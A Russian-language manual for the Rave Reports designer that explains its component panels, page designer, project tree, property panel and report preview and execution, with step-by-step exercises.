панель штрих кодов компонент содержит шесть компонент: PostNetBarCode, 2of5BarCode, Code39BarCode, 128BarCode, UPCBarCode и EANBarCode.
Они используются для создания всех типов штрих кодов в отчете.

Компоненты рисования
Панель компонентов рисования содержат графические компонент. Это включает рисование линий, квадратов, прямоугольников, кругов и эллипсов.
Компоненты слева направо: Line, HLine, VLine, Rectangle, Square, Ellipse и Circle.
Они используются для рисования графических примитивов и общего форматирования отчета. Используйте их для разделения областей отчета или для создания информативных образов.

Компоненты отчета
Здесь несколько компонент отчета: (слева направо) DataText, DataMemo, CalcText, DataMirrorSection, Region, Band, DataBand, DataCycle, CalcOp, CalcTotal, CalcController. Используйте компонент для взаимодействия с базой и создания функциональных отчетов.
Компоненты с красной точкой в верхнем правом углу, относятся к компонентам данных (Data Aware) и могут отображать информацию из базы данных. Каждый компонент имеет свойство DataView, которое позволяет взаимодействовать с базой данных.
Компоненты зеленым фоном не видимые. Их можно увидеть только в дереве проекта, а не на странице.
Компоненты Band и DataBand должны быть размещены внутри региона (Region). Поэтому при размещении их на странице, сначала поместите Region на страницу, в котором затем разместите Band или DataBand компонент. Нет ограничения на количество компонент Bands в регионе, или обязанности все размещать в одном регионе. Может быть столько регионов, сколько вам нужно. Каждый компонент Band имеет свой собственных набор свойств для управления его поведением. Смотрите главу «Компоненты отчета» для получения более подробной информации..


Дизайнер страниц

Обзор
Знание компонент и инструмента не достаточно для эффективной работы с Rave. Вы также должны знать об наиболее фундаментальном компоненте Rave, о компоненте Page (страница). В данной главе в деталях объяснен компонент Page и его связи с деревом проекта и панелью свойств. Поскольку дерево проектов и панель свойств имеют свои собственные главы, в которых они рассмотрены индивидуально, данная глава рассматривает их связи с Page. Также в данной главе приведены основы перемещений объектов на странице.

Базовый компонент Page и его панели
Базовым компонентом в визуальном дизайнере Rave является компонент Page. Компонент Page не является нормальным компонентом, и его нет в панели компонент, но он имеет свои собственные свойства, что позволяет думать о нем, как о базовом компоненте, являющим контейнером для построения отчета. Все компоненты Rave должны быть размещены на Page. Page предоставляет сетку на пали страницы. Внешний вид страницы управляется предпочтениями, которые описаны в главе «Предпочтения». Изменение внешнего вида рассматривается в главе «Панели утилит».

Подобно всем компонентам, компонент Page также имеет свойства, такие как Height, Width, Description и Name. Для просмотра или изменения свойств Page, перейдите в панель дерева проекта и раскройте узел Report, нажав на символ "+", затем щелкните на имени отчета (По умолчанию "Report1"). Щелчок на имени отчета покажет вам "Page1", которое является именем по умолчанию для Page. Щелкните один раз на нем и заметьте, что элемент "Page1" подсветился. Это означает, что страница выбрана, и теперь можно посмотреть ее свойства в панели свойств.

Свойства страницы позволяют отчету быть более информативным. Например, вместо Page1, Page2, Page3, это могут быть имена Invoice, PO, PackingSlip. Что бы сделать это, используйте свойство Name в панели свойств. Имя может быть любым, которое пожелает пользователь, но оно не может иметь пробелов или специальных символов. Помните, что Name только для дизайнера Rave и видимо только в дереве проектов и в закладках на панели Page.
Образ дерева проектов и панели свойств, изменяется после переименования Page. Теперь дерево проекта выглядит более информативно. Это полезно при настройке многих свойств ассоциированных со страницей, что делает более информативным и удобным при дельнейшем использовании и изменении.

Выбор компонент
Для выбора компонент просто щелкните на них. Переместите указатель мыши, на область компонента, и однократно щелкните на нем левой кнопкой мыши. Выбранный компонент будет обведен специальной рамочкой с маркерами.
Маркеры могут быть четырех различных цветов: зеленый, серый, красный и желтый. Зеленый маркер указывает, что текущий компонент выбран только один компонент. Серый маркер, что имеется более одного выбранного компонента, красный маркер индицирует, что текущий компонент зафиксирован. Желтый маркер индицирует, что объекты зеркально отражены и не могут быть изменены.
Выбор более одного компонента за раз делается аналогичным образом, за исключением, что требуется удерживать клавишу Shift при выборе объектов.
Другим методом выбора более одного компонента за раз, это нарисовать виртуальную рамку вокруг них. Для этого поместите курсор мыши в нужную позицию и перемещайте курсор мыши, не отпуская левой кнопки.
Для снятия выбора, просто щелкните на закладке дизайнера страницы или выберите другой компонент.
Когда выбрано несколько компонент, только общие свойства показываются в панели свойств. При смене свойства, изменение применяется ко всем выбранным компонентам.
Имеется специальное свойство для всех компонент, называемое Locked (заблокировано). Если свойство Locked установлено в True, то компонент может быть выбран, но его свойства нельзя изменить (конечно, за исключением свойства Locked). Если выбранные компоненты зафиксированы, то маркеры и имена свойств, для данных компонент будут красного цвета (как отмечено ранее). Если компонент имеет подчиненные компоненты (детей), то родитель управляет доступом. Свойство Locked имеет выпадающее меню, или True/False, указывая состояние блокировки, или оно указывает имя компонента, который управляет его состоянием. Дальнейшее обсуждение считает, что компоненты не заблокированы.

Перемещение и изменение размеров компонент
Для перемещения компонента, просто выберите его и, не отпуская левой клавиши мыши, переместите его нужную позицию. При выборе более одного компонента, все они перемещаются одновременно. Заметим, что это не касается заблокированных компонент.
Основное назначение маркеров это изменение размеров компонент. Изменение работает только для одного компонента за раз, то есть группа выбранных компонент не может быть изменена одновременно. Компоненты могут быть изменены по вертикали, горизонтали или по диагонали. При изменении по диагонали, компонент меняет оба своих размера. Просто нажмите на нужный маркер и, не отпуская клавиши мыши, перетащите маркер в нужную позицию. Заблокированные компоненты не могут быть изменены.

Копирование и вставка
Копирование и вставка выполняются аналогично, как в стандартных Windows приложениях. После выбора компонента (или группы компонент), выберите Cut или Copy из меню Edit, или используйте комбинацию клавиш Ctrl-X или Ctrl-C, или правый щелчок мыши на компоненте и выбор Cut или Copy из контекстного меню.
Для вставки компонент выберите одним из предыдущих методов (меню Edit, Ctrl-V или контекстного меню).
Снова, важный пункт заблокированные компоненты не могут быть вырезаны, поскольку это убирает объект из позиции.

Упражнение 1: выбор, изменение размеров и перемещение компонент
Для выбора объекта:
1. щелкнете на компоненте. Рамка и маркеры вокруг него;
2. или выберите компонент из дерева проекта.

Для изменения размера:
1. выберите компонент;
2. переместите курсор, пока его вид не изменится на двунаправленные стрелки;
3. удерживая маркер, установите необходимый размер.

Для перемещения компонента:
1. выберите компонент;
2. перемещайте курсор поверх компонента (не на маркер, как это было при изменении размера компонента). Щелкните мышкой на компоненте и удерживая ее;
3. перемещайте компонент мышкой;
4. переместите в нужную позицию.
5. освободите курсор.

Упражнение 2: вырезание и вставка
С помощью меню Edit:
1. выберите компонент;
2. выберите пункт Cut из меню Edit. Этим Вы поместите компонент в буфер обмена, и компонент при этом исчезнет со страницы;
3. выберите пункт Paste из меню Edit.
С использование горячих клавиш:
1. выберите компонент;
2. нажмите Ctrl+X. Этим Вы поместите компонент в буфер обмена, и компонент при этом исчезнет со страницы;
3. нажмите Ctrl+V.
С помощью контекстного меню:
1. выберите компонент;
2. нажмите правую кнопку мыши на компоненте, в контекстном меню выберите пункт Cut. Этим Вы поместите компонент в буфер обмена, и компонент при этом исчезнет со страницы;
3. вставьте выше указанным методом.


Дерево проекта

Панель дерева проектов предоставляет простой путь для навигации по структуре проекта. Данный вид дает обзор структуры страниц и структуры в свободном стиле. Поэтому, это делает дерево проекта очень информативной частью дизайнера Rave. Независимо делаете ли Вы простые и сложные отчеты, помните про эту панель, и увидите насколько информативным это может быть.

проект может содержать множество определений в каждой категории: Report Library (библиотека отчетов), Global Page Catalog (каталог глобальных страниц) и Data View Dictionary (словарь данных). Каждый узел (и любые под узлы) могут быть свернуты или развернуты, нажатием на символ плюс/минус. Любые из этих узлов могут быть добавлены из меню Project. Там Вы увидите пункты для каждого из узлов New Report (новый отчет), New Global Page (новая глобальная страница) и New Data View (новый просмотр данных). До добавления новой страницы New Page в отчет, узел Report Library, предварительно выберите нужный отчет и используйте пункт New Page из меню Project.

Развертывание дерева и контекстное меню
Более простым путем выполнения действий над элементами дерева проекта, это использование контекстного меню. Доступно много разных контекстных меню. Выбор контекстного меню на главном узле, типа Report Library вызывает контекстное меню с двумя пунктами Expand All и Collapse All. Данные два пункта предназначены для свертывания или развертывания всех узлов дерева, что предоставляет быстрый путь для доступа ко всем элементам.
Выбор пол-узла, типа Page, вызывает пункты удаления страницы. Может быть меньше или больше доступных функций.
Выбор компонента может показать контекстное меню с множеством пунктов. Те же пункты появляются и при вызове контекстного меню на компоненте в дизайнере страниц. Также, эти пункты отображаются в панели утилит. Может быть меньше или больше доступных функций. Для ускорения создания отчета или навигации по нему быстрой простой требуется разбираться в данных функциях этих контекстных меню.

Связи родитель-ребенок
До этого Вы узнали, как перемещаться по дереву, теперь же мы проведем маленький ликбез, что такое дерево.
Дерево проекта показывается, как дерево растущее вниз. База или корень (root) дерева находится на верху списка. Каждое последовательное вхождение является ребенком корня или веткой дерева. Это делает корень родителем всех его детей. Каждая ветвь также сама по себе является корнем для своих детей.
Техника, использованная в предыдущей главе, показывается, как двигаться по дереву, развертывая узлы, ассоциированные с каждым родителем. Когда ветвь имеет детей, узел появляется слева от имени ветви.
Библиотека отчетов является корнем дерева и имеет одного ребенка, называемого Report1, показанного с подсветкой текста.
Report1 имеет следующих детей: Page1, Page2, Page3, Page4, Page5 и Page6.
Page1 имеет следующих детей: Text1, Text2 и Memo1.
Здесь есть две группы братьев и сестер. Как и реальной семье с родителями и детьми, дети могут иметь братьев и сестер. Первая группа братьев и сестер: Page1, Page2, Page3, Page4, Page5 и Page6.
Первая группа братьев и сестер: Text1, Text2 и Memo1. Могут быть и другие семейные взаимосвязи, но главная, как уже отмечено, это связь родитель-ребенок.

Библиотека отчетов
Узел Report Library (библиотека отчетов) отображает структуру дизайна, включающую все использованные компоненты в каждом из отчетов. Обычно, компонент выбирается на панели страницы, просто отмечая его мышью. Тем не менее, библиотека отчетов также. Первая группа братьев и сестер использована для выбора компонентов, щелчком по имени. Когда мы щелкаем по имени компонентов, то оно подсвечивается. Для выбора нескольких компонентов, придерживайте клавишу Shift, при выборе.
Проект может быть простым, состоящим из одного или двух определений, но может быть и сложным с множеством определений. Каждый отчет, который создается, должен иметь свою собственную структуру. Для выбора и переключения на различные отчеты, просто делайте двойной щелчок на имени отчета в структуре библиотеки отчетов.
СОВЕТ: Чтобы сделать навигацию и отчет, простым для понимания, используйте описательное свойство Name. Смотрите упражнение 4 «именование компонент» в конце данной главы для эффективного использования, данного свойства.

Каталог глобальных страниц
Узел каталог глобальных страниц, где содержатся определения, которые используются как шаблон, которые могут отражаться. Это включает такие вещи как заголовки писем, формы, водяные знаки и другие определения страниц, которые могут использоваться в различных отчетах. Это упрощает общую разработку. Примером может быть отображение секции компонент на глобальной странице, где одинаковое содержимое может быть отпечатано (например, счет), но также может иметь различные заголовки в подвале страниц, например "Original", "File Copy" и "Shipping".

Загрузка и выгрузка глобальных страниц
Глобальные страницы очень полезны и применимы для дизайна, особенно когда они могут быть быстро доступны. Эти страницы могут содержать все типы объектов и компонент, которые могут повторяться и отражаться через множество страниц в различных отчетах. Многие отчеты в библиотеки отчетов могут использовать любую из глобальных страниц каталога.
При создании отчетов, полезным свойством дизайнера Rave является закладки дизайнера страниц. Они расположены вверху окна дизайнера страниц. Здесь все закладки, используемых страниц.
Глобальные страницы можно добавить на закладку для более быстрого доступа, что означает, что разработчику не нужно прокручивать все дерево для поиска нужной, часто используемой страницы. Вместо этого разработчик может просто загрузить страницу в закладки дизайнера и затем просто выбирать нужную страницу. Глобальные страницы могут быть загружены или выгружены закладок дизайнера, просто по правому щелчку мыши на глобальной странице и использованием контекстного меню для выбора. Быстрый путь выгрузить глобальную страницу это выбрать ее в области закладок, зто щелкнуть по странице и нажать клавишу Ctrl+F4.

Словарь данных
Словарь данных в дизайнере Rave это узел где указаны все подключения данных для отчетов. Для добавления просмотра данных в данный список, выберите New Data View из меню Project. Это вызовет диалог Data Connections. Данное окно покажет все подключения данных Rave, которые сейчас активны. Затем выберите любое из них для создания нового просмотра подсоединенного к данному подключению.

Ctrl+Drag&Drop
Ctrl+Drag&Drop используется для создания или зеркального отражения элемента из структуры дерева проекта или другого узла в данной структуре отчета или текущей страницы дизайнера. При перетаскивании из панели дерева проекта на страницу дизайнера, место бросания определяется местом, в котором отпущена мышь. Но, при перетаскивании их одного узла страницы в другой (в панели дерева проекта), по умолчанию, место остается тем же, что и в источнике.
ПРИМЕЧАНИЕ:
При перетаскивании не видимого компонента, он должен быть отражаемого типа. Копирование для не отражаемых типов не работает. Компоненты Regions и Bands, для которых не разрешено зеркальное отражение. Для зеркального отражения региона, сделайте регион частью секции и затем отразите эту секцию. Секция также может включать и другие компоненты.
ПРЕДУПРЕЖДЕНИЕ:
Перетаскивание (Drag&Drop) работает из страницы отчета в страницу отчета, глобальной страницы в глобальную страницу, глобальную страницу в страницу отчета, но это не работает перетаскивания из страницы отчета в глобальную страницу, поскольку компоненты на отчете не видимы другим отчетам и поэтому не могут отражаться в глобальной странице.
Alt+Drag
Alt+Drag используется для смены родителя компонента в новый контейнер подобный секции. Все перемещения для данного компонента должны быть сделаны в той же самой странице. Когда создается новая секция, пользователь может выбрать все элементы из другой секции для помещения в новую секцию. В этом случае родитель должен быть сменен из старой секции на новую секцию, и затем новая секция может быть зеркально отражена.
ПРИМЕЧАНИЕ:
Компонент назначения должен быть контейнерного типа. Page, Region и Section все являются хранителями или контейнерами. Так, если есть или более секций на странице, элементы могут быть перетащены в другую секцию. Также все компоненты могут быть перетащены со страницы на одну из секций.

Упражнение 3: навигация по дереву проектов
Поскольку многие проекты отчета очень сложные, иерархическое дерево проекта помогает двигаться по отчетам.
Навигации по иерархии (развертывание, свертывание и выбор):
1. разверните элемент путем нажатия на символ плюс. Затем оно сменится на минус и развернет элемент с под элементами, такими как Report1, Page1 и остальными.
2. свертывание элемента осуществляется нажатием на символ минус, он сменит свое рисунок на символ плюс и свернет все под элементы.
3. выбор элемента из дерева проекта выполняется нажатием мышкой на нужный элемент. Выбранный элемент подсвечивается.

Упражнение 4: именование компонент
1. Поскольку проекты обычно очень сложные, строго рекомендуется давать им значимые имена.
2. По умолчанию, свойство Name получает имя подобное "Report1", "Report2" и так далее. Но гораздо легче управлять проектом, если отчеты имеют более полезные имена. Это можно сделать через свойство Name.
3. при разработке соглашений об именах будьте созидательны, но помните, что пробелы или специальные символы не разрешены в свойстве Name.
4. в примере панели дерева проектов, по умолчанию имена отчетов были изменены. Вместо "Report1" до "Report7", имена отчетов были названы: "CustomerList", "CustomerLabels", "CustomerDue", "Invoice", "PO", "ProductsOnHand" и "ProductsOnOrder". Это важно для понимания, что панель дерева проектов в этом делает проект проще. Но, без информативной системы имен, панель дерева проектов не показывает свой потенциал.
Переименование отчета (или других компонент):
1. выберите отчет (компонент);
2. убедитесь что отчет, который переименовывается выбран. Должен быть подсвечен;
3. перейдите в панель свойств и найдите свойство Name;
4. в поле Name, введите нудное имя;
5. нажмите Enter, после ввода нового имени;
6. посмотрите в дереве проекта и убедитесь, что имя отчета (компонента) изменилось.
7.
Упражнение 5: загрузка и выгрузка глобальных страниц
Загрузка и выгрузка глобальных страниц в область закладок дизайнера страниц делает доступ к этим страницам более быстрым и удобным. Это особенно истинно, когда Вы работаете с отображенными секциями и объектами из разных отчетов.
Загрузка глобальной страницы:
1. запустите новый отчет;
2. вставьте четыре пустых отчета, выбрав New Report из меню Project или щелчком New Report в панели Project;
3. затем, выберите "Page1" в первом отчете. Сделайте это с помощью дерева проекта. Отметьте "Page1" в дереве или щелкните на закладке "Page 1" в закладке дизайнера страниц. Как только страница будет выбрана, ее имя будет подсвечено;
4. добавьте три глобальные страницы в отчет. Сделайте это выбором New Global Page из меню Project или щелчком New Global Page в закладке дизайнера страниц;
5. заметьте, поскольку первая страница в первом отчете была выбрана при добавлении глобальной страницы в закладке дизайнера страниц. То страницы были добавлены в дерево проектов в каталог глобальных страниц;
6. щелкните на другой странице отчета. Заметьте, что поскольку была выбрана другая страница в области 7 закладок дизайнера страниц. Для добавления глобальных страниц в область закладок дизайнера страниц сделайте вызов контекстного меню глобальной страницы дерева проекта и выберите Load Page. Попробуйте загрузить все три глобальные страницы;
7. как только глобальные страницы загрузятся, то они будут видны в области закладок дизайнера страниц;
8. попробуйте загрузить глобальные страницы к двум другим оставшимся отчетам.
Выгрузка глобальной страницы:
1. закончите шаги из предыдущего упражнения;
2. выберите страницу из Report 3, которая содержит все загруженные страницы;
3. есть два пути выгрузки страницы. Один путь это использовать контекстное меню, а другой путь это использовать горячие клавиши;
4. первый путь использовать контекстное меню, что требует, во-первых, выбрать страницу для выгрузки;
5. затем, вызвать контекстное меню на глобальной странице и выбрать пункт Unload Page из меню. Повторите его три раза для отчета Report 3;
6. теперь мы попробуем использовать второй путь;
7. выберите следующую страницу в Report 4. Убедитесь, что она содержит все глобальные страниц в области закладок дизайнера страниц;
8. так как страница в Report 4 выбрана, Вы можете видеть три глобальные страницы в области закладок дизайнера страниц, выберите одну из глобальных страниц из области закладок дизайнера страниц;
9. теперь нажмите Ctrl+F4 для выгрузки страницы;
10. повторите это для оставшихся глобальных страниц в каталоге.
11.
Упражнение 6: перетаскивание компонент (Ctrl+Drag)
Одной из обычных задач по перетаскиванию бывает копирование компонента Data Field на страницу в визуальном дизайнере. Приемник должен быть существующим компонентом DataBand или чистой областью страницы. Компонент Data Field будет преобразован в DataText или DataMemo на области назначения, в зависимости от типа поля источника. Выполним это с помощью следующих шагов.
Перетаскивание:
1. перейдем на узел Data View Dictionary, развернем его, если свернут;
2. выберем один из Data Views и развернем его, если свернут;
3. выберем компонент поля для копирования;
4. нажмем и удерживаем клавишу, теперь тащим это поле на страницу;
5. отпускаем клавишу мыши и клавишу Ctrl;
6. выбираем только что скопированное поле и устанавливаем его свойства.
Данное упражнение может быть слишком простое, но дадим здесь пользователю шаги необходимые для выполнения перетягивания компонента. Поскольку полный отчет еще не закончен, так что не беспокоимся о его работоспособности.

Упражнение 7: смена родителя компонента (Alt+Drag)
Смена родителя компонента может быть очень полезной, для создания его компонент. Например, скажем, есть страница, содержащая компоненты, которые было бы лучше сгруппировать с секцию. Текущее состояние в том, страница является родителем компонент, которые надо сгруппировать. Для группы элементов, родитель должен быть сменен на компонент секции. После того как это будет сделано, элементы окажутся в секции, которую можно будет потом перемещать межу подобными другими. Есть и обратный смысл, может потребоваться убрать компонент обратно из секции и просто переместить на страницу, просто используйте Alt+Drag для выполнения данной задачи.
Смена родителя компонента:
1. перейдите Report Library, развернем его, если свернут;
2. развернем узел Report, который содержит страницу с определением;
3. развернем узел Report, который содержит приемник и источник, что бы они были видны. В Customer Statement, есть секция на странице. Мы сменим родителя у PageNumInit и Memo1 со страницы на секцию;
4. выделим компоненты, у которых мы желаем сменить родителя. Для выделения удерживаем клавишу Shift при выборе компонент. Когда закончим выбор отпустим клавишу Shift. Выбранные компоненты должны быть подсвечены;
5. нажимаем и удерживаем клавишу Alt, теперь перетаскиваем на новый родительский компонент. В данном примере, клавиша Alt удерживается при выборе и перетягивании на новый компонент. При перетягивании компонент на нового родителя, видим, что курсор изменяется при попадании не приемник. Когда курсор показывает, что он находится над приемником, освобождаем клавишу мыши и затем клавишу Alt;
6. заметим, что компоненты теперь имеют нового родителя, и у родителя появился маркер минус, указывая, сто у родителя есть несколько компонент;
7. после окончания перемещения новых компонент, они могут быть настроены, как требуется.


Панель свойств

Что такое панель
Панель свойств дает информацию о компонентах проекта. Это наиболее полезно при разработке отчета, поскольку дает простой доступ до всех ассоциированных с каждым компонентом свойств.
Панель свойств показывает и позволяет изменять значения любого компонента помещенного на страницу. Для получения информации о конкретном компоненте, выберите компонент перед просмотром его в панели свойств (смотрите главу «Выбор компонент» для получения более подробной информации по выбору объектов).
Панель свойств показывает текущие свойства компонента. Например, выбрав компонент DataText, в панели свойств будут показаны все его свойства, которые доступны для данного компонента.
В панели свойств есть три области. Первая в самом верху, показывает имя и тип компонента. Вторая в середине, показывает все свойства в двух колонках. Левая колонка содержит имена свойств, а правая показывает текущее значение этих свойств. Внизу панели свойств находится третья область, в которой содержится краткое описание текущего выбранного свойства.

В списке свойств (средняя секция), линия, разделяющая две колонки, может быть перемещена, позволяя лучший просмотр имен и значений. Для выполнения данной операции, поместите курсор поверх линии, пока его форма не сменится на двунаправленные стрелки. Затем нажмите левую кнопку мыши и, удерживая ее, перетяните ее влево или вправо для изменения колонок.
Помните, что компонент должен быть выбран, что бы его свойства можно было увидеть. Это также доступно и для нескольких компонент одновременно. Как только компонент выбран, любые его свойства в панели могут быть выбраны щелчком на нужном имени или его ячейке значения. У выбранного свойства затем можно изменить его значение. Когда выбрано любое свойство в панели свойств, то можно перемещаться между свойствами и с помощью клавиш вверх/вниз.

некоторые из имен свойств показаны жирным шрифтом. Это означает, что текущее значение отличается от значения по умолчанию. Например, когда компонент DataText размещается на странице, цвет по умолчанию черный. При смене цвета с красного на черный, имя свойства становится жирным. Когда значение снова меняется на значение по умолчанию, шрифт снова становится нормальным.
Как это можно использовать? Представим на момент, что отчет был разработанный коллегой, имеет проблему и не работает. Быстрый взгляд на свойства, позволяет найти измененные, возврат которых в исходное состояние позволяет решить проблему.
В то время как большинство компонент может быть выбрано щелчком по компоненту, то компонент Page особый случай. Щелчок по панели в окне визуального дизайнера очищает панель свойств, но не выбирает саму страницу.
Для выбора свойств страницы, щелкните по закладке вверху окна (область называемая, область закладок страниц) где показывается номер страницы. Другой альтернативой является выбор в дереве проекта.

Типы свойств
Каждое свойство имеет ассоциированный тип. Эти свойства можно редактировать в панели свойств. Свойства могут быть строковые или цифровые.
При редактировании строковых свойств Вы можете вводить любые символы, которые могут отображаться на экране. При редактировании числовых значений, это должно быть допустимое числовое значение. Десятичные числа другое общее свойство, которое можно редактировать
Многие свойства имеют предопределенные значения, которые можно выбрать. Данные значения показываются в виде списка, из которого их можно выбрать. Также есть свойства, которые сами являются другими свойствами, ассоциированными с ними.

Редакторы
В зависимости от типа выбранного свойства, есть три типа полей ввода. Первый тип это простое поле ввода, в котором печатается значение. Значение может быть цифровым, символьным, алфавитно-цифровым или набором одного из возможных значений. Выпадающий список это второй тип ввода, который может использовать пользователь. Если значение свойства является одним из предопределенных значений, выпадающий список появляется при нажатии на кнопку с маленькой стрелкой в правом углу поля ввода. Выберите нужное значение путем клика на нем. Третьим типом является диалог. Некоторые свойства требуют более одного значения для установки свойства (такие как шрифты). Для установки таких свойств есть кнопка с тремя точками (называемая эллипс) в правом углу поля ввода. При нажатии на данную кнопку появляется диалог (или мастер (wizard)) и в данном диалоге можно установить множество свойств.

Контекстное меню
При нажатии на правую кнопку появляется всплывающее контекстное меню. Данное контекстное меню можно использовать для установки различных параметров панели свойств.
Свойство Hints, первый элемент меню, прячет или показывает окно подсказок, которое расположено в самом низу панели свойств. Подсветка изменений второй элемент меню, разрешая или запрещая показ измененных свойств жирным шрифтом. Exclude Name, Size и Pos Changes это третий пункт меню определяющий, что изменение имени, размера и позиции (ширина и высота) исключаются из подсветки жирным при изменении их значений по умолчанию. Третий пункт становится полезным при множественном изменении свойств, и нужно видеть только те свойства, которые обычно не изменяются.

Упражнение 8: навигация по панели
Открытие панели свойств
1. если панель свойств не видима, то перейдите в меню Tools. Из Tools подменю, выберите Property Panel. Поставьте там отметку.
Определение областей панели свойств
2. в данном примере, используется базовый компонент Page. Поэтому выберите компонент Page, щелкнув на страницу в области закладок дизайнера страниц. Заметим, что после выбора страницы, ее свойства появятся в панели свойств.
3. Дальше сделайте окно подсказки видимым внизу панели свойств, если оно не видимо в данный момент. В контекстном меню отметьте все доступные параметры.
4. расширьте панель свойств, что бы Вы могли видеть все свойства и также окно подсказок. В шагах от 5 до 8, читайте подсказки для получения большей информации о каждом свойстве. Примечание: образ справа изменяется в течение нескольких примеров.
5. выберите свойство Name. Заметим, что данное имя отражается в заголовке панели "Page1: Page component". Другая половина данной строки указывает на компонент, к которому это относится. Компонент является компонентом Page, что и отражается здесь. Свойство Name из примера строкового типа.
6. выберите свойство Bin строкой ниже. Заметим, что это показывается как выпадающее меню. Выпадающее меню выдает несколько предопределенных параметров, из которых можно сделать выбор.
7. выберите поле Grid Spacing. В данном примере это цифровой тип свойства. Что бы увидеть, что данное свойство делает, просто измените значение, и посмотрите на страницу.
8. нажмите на кнопку эллипс (…) в свойстве Parameters и появится диалог. Диалог позволяет устанавливать свойству множество значений.
9. в шаге 3, параметр Highlight Changes был отмечен в контекстном меню. Перейдите к свойству PaperSize и выберите другой тип бумаги. Заметим, что не только значение изменилось, но и свойство стало жирным. Данное подсвечивание жирным становится полезным для определения измененных свойств по умолчанию или их начальных значений. Попробуйте изменить другие значения, такие как высота и ширина страницы.
10. Также отмеченные в шаге 3, параметры Exclude Name, Size и Pos Changes. Это очень полезный параметр. В большинстве случаев имя, размер и позиции компонент на странице меняются часто. Что бы избежать подсвечивания этих общих свойств данный параметр исключает их из подсвечивания. Попробуйте снять отметку с данного параметра и изменить эти свойства.


Выполнение отчета

Обзор
После создания отчета, отображение и создание отчета в электронном формате, выполним следующие шаги. Имеется несколько путей получить отчет на бумаге или в электронных форматах. Данная глава показывает различные пути для показа отчета и также простую печать.
Выполнение отчетов
Одно из общих возможностей использования Rave это выполнение отчета. Выполнение отчета позволяет пользователю увидеть результат разработки отчета. Выполнение подобно тому, что многие разработчики знают как компиляция и в действительности происходит некоторая внутренняя «компиляция».
Есть несколько различных путей, как может быть выполнен отчет. Это делается или через меню Project, используя функциональную клавишу F9, или выбирая иконку Execute Report в панели проекта.
Использование функциональной клавиши F9 является наиболее подходящим методом, так как это часто повторяемое и общее действие при разработке отчета.
При использовании любого пути для выполнения отчета, пользователю предоставляются различные параметры. Диалог Output Options показывает различные параметры доступные во время выполнения.
Позже в этой главе мы объясним каждый параметр в деталях.
Диалог предпочтений
Перед тем как проходить по каждому параметр, есть несколько предпочтений, которые должны быть объяснены, что бы понять выполнение отчетов. Перейдите в меню Edit и выберите пункт Preferences, после чего появится диалог предпочтений.
На закладке Printing в диалоге предпочтений есть несколько различных параметров , которые можно изменить и которые оказывают влияние на выполнение отчета. Некоторые из параметров могут быть установлены здесь, но также дублируются и в диалоге Output Options, который появляется перед выполнением. В данной главе каждый из параметров будет объяснен.
В области Output Options диалога Printing Preferences, параметр Show Setup Dialog устанавливает должен ли показываться диалог Output Options (как показано здесь) при выполнении отчета. Иногда выгоднее запретить диалог Output Options, особенно во время разработки или тестирования. Но это означает, что параметры, содержащиеся здесь, должны быть установлены перед скрытием данного диалога. Также, любые изменения должны быть сделаны или путем повторной активации диалога или указание их в диалоге предпочтений.
По умолчанию устройство вывода отчета задается установками в Print Destination диалога Printing Preferences и отражается в диалоге Output Options. Изменение значений в области Print Destination диалога Printing Preferences имеет прямой эффект на значения по умолчанию в диалоге Output Options. Есть два параметра, которые можно выбрать: просмотр и принтер. Выбор одного из них делается при помощи радио кнопок, делает этот параметр значением по умолчанию и когда диалог Output Options появляется, данное значение по умолчанию оказывается выбранным.
Параметр Preview Grid действует тем же образом как сетка Grid (линии которой видны в дизайнере страниц) во время разработки. Данные параметры позволяют отображать сетку на окне просмотра. Установки сетки позволяют изменять Print Preview Page, включая изменение цвета, стиля и шага сетки. Если оба значения шага сетки, горизонтальный и вертикальный, будут установлены в 0, то сетка будет отсутствовать. Но указание чисел в установках горизонтально и вертикального шага, размещает сетку на Print Preview Page. Цвет линий изменяет цвет сетки. Стиль линий задается через выпадающее меню.
Параметры просмотра, имеют эффект только на просмотр. Имеется шесть параметров, которые можно установить. При использовании просмотра, окно отображается по умолчанию в нормальном состоянии. Подобно другим окнам Windows, окно просмотра можно минимизировать или максимизировать. Для установки используйте выпадающее меню в настройках Initial Window State.
Параметр Zoom Factor показывает по умолчанию процент увеличения (zoom) при первом показе просмотра. Параметр Zoom Increment указывает процент изменения Zoom при каждом нажатии на иконку Zoom In/Zoom Out. Как и дизайнер страниц, окно просмотра может иметь горизонтальную линейку, вертикальную линей или обе линейки, путем указания в Ruler Type (используйте выпадающее меню для выбора). Единицы измерения могут быть заданы или в дюймах или в сантиметрах.
Параметр ShadowDepth задает уровень тени окна просмотра и только для эстетики.
Параметр Monochrome Preview Display, сделан для совместимости с некоторыми видео картами, на которых могут быть проблемы при показе отчета в цвете. Это не рекомендовано для использования, только при необходимости.
Просмотр отчета
Поскольку Preview первично используется для предварительного просмотра отчета, имеют много возможностей, гораздо больше, чем это интуитивно понятно по их именам.
Начнем выполнение отчета. Когда появится диалог Output Options, радио кнопку выбора можно отметить. Нажатие OK продолжит выполнение в режиме просмотра.

Окно просмотра используется для просмотра вывода сгенерированного отчета. Вид вывода на экран отличается от вывода на принтере. Вывод не экран базируется на постраничном выводе. Наверху окна просмотра есть панель, которая позволяет навигацию по отчету и другие функции, которые будут объяснены в следующих абзацах.
Большинство функций разрешенных в окне просмотра могут быть выполнены или с помощью панели или через меню окна просмотра. Мы пройдемся по функциям меню и объясним их в оставшейся части данной главы.
Первая группа иконок (разделенная вертикальной линией в панели), может быть найдена в меню File. Они используются для открытия, сохранения, печати или выхода из просмотра отчета.
Несмотря на то, что окно просмотра показывает текущий отчет их дизайнера, оно также позволяет загрузить предыдущий сохраненный отчет (расширение NDR). Это можно выполнить выбором пункт Open из меню File. Появится диалог, запрашивающий требуемый файл отчета. Когда файл NDR, текущий отчет, который был открыт, отменяется. Это не означает, отчет не может быть повторно сгенерирован. Для получения предыдущего отчета, просто повторите его генерацию, и выбери просмотр. Единственный отчет, который можно повторно регенерировать, это отчет который был перед этим просмотрен. Другие отчеты могут быть повторно просмотрены, только если они были сохранены или путем открытия их проектов и повторного выполнения.
Пункт Save As используется для сохранения отчета из просмотра. Выберите пункт, и появится диалог сохранения файла. Используйте этот диалог для сохранения текущего отчета в различные форматы, включая PDF и HTML (эти два формата будут рассмотрены позже в данной главе). Другой формат, в который может быть сохранен отчет, это NDR тип отчета, который является снимком текущего отчета.
Поскольку отчеты могут печататься напрямую, выбрав Execute и затем Printer, окно просмотра также предоставляет эту функцию, поскольку часто необходимо проверять просмотр до проведения подлинной печати.
